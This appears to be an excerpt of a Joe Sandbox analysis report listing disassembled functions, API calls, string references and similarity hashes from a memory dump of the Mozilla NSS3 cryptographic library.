Part of subcall function 6C7CFAB0: free.MOZGLUE(?,-00000001,?,?,6C76F673,00000000,00000000), ref: 6C7CFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7E0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C7E0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C7E0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C7E0D7D
free.MOZGLUE(00000000), ref: 6C7E0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7E0DC1
free.MOZGLUE(00000000), ref: 6C7E0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7E0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7E0E0F

Part of subcall function 6C7B95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C797F4A,00000000,?,00000000,00000000), ref: 6C7B95E0
Part of subcall function 6C7B95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C797F4A,00000000,?,00000000,00000000), ref: 6C7B95F5
Part of subcall function 6C7B95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C7B9609
Part of subcall function 6C7B95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7B961D
Part of subcall function 6C7B95C0: PK11_GetInternalSlot.NSS3 ref: 6C7B970B
Part of subcall function 6C7B95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C7B9756
Part of subcall function 6C7B95C0: PK11_GetIVLength.NSS3(?), ref: 6C7B9767
Part of subcall function 6C7B95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C7B977E
Part of subcall function 6C7B95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7B978E

Strings

*,~l, xrefs: 6C7E0C69, 6C7E0DE0, 6C7E0C80, 6C7E0C8B, 6C7E0CAF
*,~l, xrefs: 6C7E0DCC
-$~l, xrefs: 6C7E0C64

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,~l$*,~l$-$~l
API String ID: 3136566230-3769478742
Opcode ID: ef63f6b7c8b5465c02eccb779cf08eecd39ef6f84c70c67d9531c1960827a40a
Instruction ID: c2355abc624eadbf6f39c9a0fa2ac4c72822aaeb98c48dc68dc1edb561a9b45a
Opcode Fuzzy Hash: ef63f6b7c8b5465c02eccb779cf08eecd39ef6f84c70c67d9531c1960827a40a
Instruction Fuzzy Hash: 5141B4B2900246ABEB00DF65DE4ABAF7678BF0530CF140134ED1567741EB35AA54DBE2

Function 6C7D6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C8A1DE0,?), ref: 6C7D6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7D6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C7D6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C7D6D82
DER_GetInteger_Util.NSS3(?), ref: 6C7D6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7D6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C7D6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C7D6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C7D6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C7D6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7D7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C7D7033
free.MOZGLUE(?), ref: 6C7D703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C7D7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C7D7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7D70AF

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 31fa6d9fe253f51bad29fd5119871cfdc30181a1f97bd8e5c858ca383d5f17c5
Instruction ID: 1ee7d1d60f0f330d4a9b04a4e9f37032468354f59850673b84eb8cf076833c14
Opcode Fuzzy Hash: 31fa6d9fe253f51bad29fd5119871cfdc30181a1f97bd8e5c858ca383d5f17c5
Instruction Fuzzy Hash: 4AA119719042019BEB009F24DF49B5A32A4EB8130CF268D39E958DBB81F735FA49C793

Function 6C79AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C77AB95,00000000,?,00000000,00000000,00000000), ref: 6C79AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C77AB95,00000000,?,00000000,00000000,00000000), ref: 6C79AF39
PR_Unlock.NSS3(?,?,?,6C77AB95,00000000,?,00000000,00000000,00000000), ref: 6C79AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C77AB95,00000000,?,00000000,00000000,00000000), ref: 6C79AF69
TlsGetValue.KERNEL32 ref: 6C79B06B
EnterCriticalSection.KERNEL32(?), ref: 6C79B083
PR_Unlock.NSS3(?), ref: 6C79B0A4
TlsGetValue.KERNEL32 ref: 6C79B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C79B0D9
PR_Unlock.NSS3 ref: 6C79B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C79B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C79B182

Part of subcall function 6C7CFAB0: free.MOZGLUE(?,-00000001,?,?,6C76F673,00000000,00000000), ref: 6C7CFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C79B177

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C77AB95,00000000,?,00000000,00000000,00000000), ref: 6C79B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C77AB95,00000000,?,00000000,00000000,00000000), ref: 6C79B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C77AB95,00000000,?,00000000,00000000,00000000), ref: 6C79B1C2

Part of subcall function 6C7C1560: TlsGetValue.KERNEL32(00000000,?,6C790844,?), ref: 6C7C157A
Part of subcall function 6C7C1560: EnterCriticalSection.KERNEL32(?,?,?,6C790844,?), ref: 6C7C158F
Part of subcall function 6C7C1560: PR_Unlock.NSS3(?,?,?,?,6C790844,?), ref: 6C7C15B2

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 8bf9f46cf99945868471606e270b3777f8cb5ef9ca3bbefbe9a8fb5a489b0e58
Instruction ID: 852677da9026b2a56527c403fcd75b1a3831c76fee9ff4b250ee04c487d8560f
Opcode Fuzzy Hash: 8bf9f46cf99945868471606e270b3777f8cb5ef9ca3bbefbe9a8fb5a489b0e58
Instruction Fuzzy Hash: 1BA1C1B1E002069BEF109F64ED49BAAB7B4FF05308F104134E905A7B52E731E955CBE1

Function 6C7BE550 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7BE5A0

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

memcpy.VCRUNTIME140(?,?,?), ref: 6C7BE5F2

Strings

0, xrefs: 6C7BEA4D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ErrorValuememcpy
String ID: 0
API String ID: 3044119603-4108050209
Opcode ID: 2e4b336f42e1d65420096469896eeb69831ac0f553aa3293c0c2be28d643808a
Instruction ID: 57dcc0915c5e049a72f34df23ce8de1a2bc368212902586081f733e5fb18d1ec
Opcode Fuzzy Hash: 2e4b336f42e1d65420096469896eeb69831ac0f553aa3293c0c2be28d643808a
Instruction Fuzzy Hash: 55F15BB5A002299BDB218F24CD84BDA77B9BF49318F0441E8ED08A7741E775AE94CFD0

Function 6C792C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?yl,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792C62
EnterCriticalSection.KERNEL32(0000001C,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792C76
PL_HashTableLookup.NSS3(00000000,?,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792C93

Part of subcall function 6C81DD70: TlsGetValue.KERNEL32 ref: 6C81DD8C
Part of subcall function 6C81DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C81DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23,?), ref: 6C792CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C78E477,?,?,?,00000001,00000000,?,?,6C793F23), ref: 6C792CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C78E477,?,?,?,00000001,00000000,?), ref: 6C792CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C78E477,?,?,?,00000001,00000000,?), ref: 6C792D4D
EnterCriticalSection.KERNEL32(?), ref: 6C792D61
PL_HashTableLookup.NSS3(?,?), ref: 6C792D71
PR_Unlock.NSS3(?), ref: 6C792D7E

Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607AD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607CD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607D6
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6F204A), ref: 6C7607E4
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,6C6F204A), ref: 6C760864
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C760880
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,6C6F204A), ref: 6C7608CB
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608D7
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608FB

Strings

#?yl, xrefs: 6C792C43

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?yl
API String ID: 2446853827-101552813
Opcode ID: 8c921c25add2d73404842b6f0b34fa6951c54498e4851ad2a64c54d174c5784b
Instruction ID: cca539bb5a89afce41e8296ae24c582d20a1c198c0117a31fa250013ba0724b2
Opcode Fuzzy Hash: 8c921c25add2d73404842b6f0b34fa6951c54498e4851ad2a64c54d174c5784b
Instruction Fuzzy Hash: A85127B6D00105ABDB10AF24ED498AAB778FF1635CB048534ED1897B12E731ED64C7E1

Function 6C84A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C84A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C84A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C84A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C84A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C84A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C84A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C84A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C84A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C84A69A

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C84A61D, 6C84A68B, 6C84A6B3
%s at line %d of [%.10s], xrefs: 6C84A62C
database corruption, xrefs: 6C84A627

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 9604e1e77c9969287008a18cf0a3e22495ff3229498d9d363bedd8c031845338
Instruction ID: 815d34224a5a8b7d1ddbcf65c4fa4506d4dab52af31a55f08e0707d799a1318f
Opcode Fuzzy Hash: 9604e1e77c9969287008a18cf0a3e22495ff3229498d9d363bedd8c031845338
Instruction Fuzzy Hash: 2C51B5B5908304ABDB21CF69DA80A9A7BE0AF44718F048C3DF8495BB41E731DD84CB92

Function 6C7745B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,6C771984,?), ref: 6C7745F2
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7745FB

Part of subcall function 6C7D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D08B4

SECITEM_CompareItem_Util.NSS3(00000000,-00000001), ref: 6C77461E

Part of subcall function 6C7CFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6C774101,00000000,?,?,?,6C771666,?,?), ref: 6C7CFCF2

SECITEM_CopyItem_Util.NSS3(00000000,?,-00000019), ref: 6C774646
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C774662
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C77467A
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C774691
PL_FreeArenaPool.NSS3 ref: 6C7746A3
PL_FinishArenaPool.NSS3 ref: 6C7746AB
free.MOZGLUE(?), ref: 6C7746BC
PORT_ZAlloc_Util.NSS3(?), ref: 6C7746E5
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C774717

Strings

security, xrefs: 6C7745EC

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$ArenaItem_Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_freememcmpmemcpy
String ID: security
API String ID: 3482804875-3315324353
Opcode ID: f961b977460d854dc7f74933d72976d2bc903d5661f20a9f81f1683a0f0c7d5f
Instruction ID: 2fe3a76117dea4e850e2098060e119d7a535e56735268a996ae7a94dd981a8b8
Opcode Fuzzy Hash: f961b977460d854dc7f74933d72976d2bc903d5661f20a9f81f1683a0f0c7d5f
Instruction Fuzzy Hash: 7F4118B2904314ABDB208B659E44B5B77D8AF4435CF050938EC19E3B41E730E614CBE6

Function 6C7EAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7EADB1

Part of subcall function 6C7CBE30: SECOID_FindOID_Util.NSS3(6C78311B,00000000,?,6C78311B,?), ref: 6C7CBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7EADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7EAE08

Part of subcall function 6C7CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8A18D0,?), ref: 6C7CB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7EAE25
PL_FreeArenaPool.NSS3 ref: 6C7EAE63
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C7EAE4D

Part of subcall function 6C6F4C70: TlsGetValue.KERNEL32(?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4C97
Part of subcall function 6C6F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4CB0
Part of subcall function 6C6F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6F3921,6C8D14E4,6C83CC70), ref: 6C6F4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7EAE93
PR_CallOnce.NSS3(6C8D2AA4,6C7D12D0), ref: 6C7EAECC
PL_FreeArenaPool.NSS3 ref: 6C7EAEDE
PL_FinishArenaPool.NSS3 ref: 6C7EAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7EAEF5
PL_FinishArenaPool.NSS3 ref: 6C7EAF16

Strings

security, xrefs: 6C7EADEE

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 71f27c4d46e2fa2ea7606bedf2af6483dacb8d60dcad7583035558c7a82d8037
Instruction ID: 04a78dc9bfe2ad9b2bdf503eef999ed46ea59457b21679fc11bdd8eb8f1b974d
Opcode Fuzzy Hash: 71f27c4d46e2fa2ea7606bedf2af6483dacb8d60dcad7583035558c7a82d8037
Instruction Fuzzy Hash: 834107B390421067E7205B189E4ABAA3BBCAF5A72CF150935E815D6F41F735EA08C7D3

Function 6C7A6650 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptInit), ref: 6C7A6676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A66A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A66B3

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A66C9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C7A66E8
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C7A6716
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A6728
PR_LogPrint.NSS3(?,00000000), ref: 6C7A673E

Strings

hKey = 0x%x, xrefs: 6C7A6700, 6C7A6710
C_DecryptInit, xrefs: 6C7A6671
hSession = 0x%x, xrefs: 6C7A668E, 6C7A669E
pMechanism = 0x%p, xrefs: 6C7A66E3
(CK_INVALID_HANDLE), xrefs: 6C7A66AC, 6C7A671E

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptInit
API String ID: 1003633598-277163776
Opcode ID: 75d78485a466174302504e452585f0cca1569d43949eadce474b2b5fe097d0d6
Instruction ID: a89d6c65b8d2b1311fcb8db0a588a7eb5b22f8737feb1edcb3aec82e95bd3494
Opcode Fuzzy Hash: 75d78485a466174302504e452585f0cca1569d43949eadce474b2b5fe097d0d6
Instruction Fuzzy Hash: 4341F431602114ABDB309BA89F8CFAA77B5AB4631CF044435E90997B12DB34BD09CBD1

Function 6C7A6500 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_EncryptFinal), ref: 6C7A6526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A6554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A6563

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A6579
PR_LogPrint.NSS3( pLastEncryptedPart = 0x%p,?), ref: 6C7A6595
PR_LogPrint.NSS3( pulLastEncryptedPartLen = 0x%p,?), ref: 6C7A65B0
PR_LogPrint.NSS3( *pulLastEncryptedPartLen = 0x%x,?), ref: 6C7A661A

Strings

pLastEncryptedPart = 0x%p, xrefs: 6C7A6590
C_EncryptFinal, xrefs: 6C7A6521
hSession = 0x%x, xrefs: 6C7A653E, 6C7A654E
pulLastEncryptedPartLen = 0x%p, xrefs: 6C7A65AB
*pulLastEncryptedPartLen = 0x%x, xrefs: 6C7A6615
(CK_INVALID_HANDLE), xrefs: 6C7A655C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
